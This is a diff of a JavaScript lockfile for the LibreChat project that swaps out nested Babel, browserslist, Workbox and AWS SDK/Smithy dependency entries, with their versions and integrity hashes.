- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "librechat-data-provider/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
"pkg-dir/find-up/locate-path/p-locate/p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="],
"svgo/css-select/domutils/dom-serializer/entities": ["entities@2.2.0", "", {}, "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.22.20", "", { "dependencies": { "@babel/helper-function-name": "^7.22.5", "@babel/template": "^7.22.15", "@babel/types": "^7.22.19" } }, "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.22.20", "", { "dependencies": { "@babel/helper-function-name": "^7.22.5", "@babel/template": "^7.22.15", "@babel/types": "^7.22.19" } }, "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
-
- "workbox-build/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
"workbox-build/source-map/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
@@ -9149,25 +8517,43 @@
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
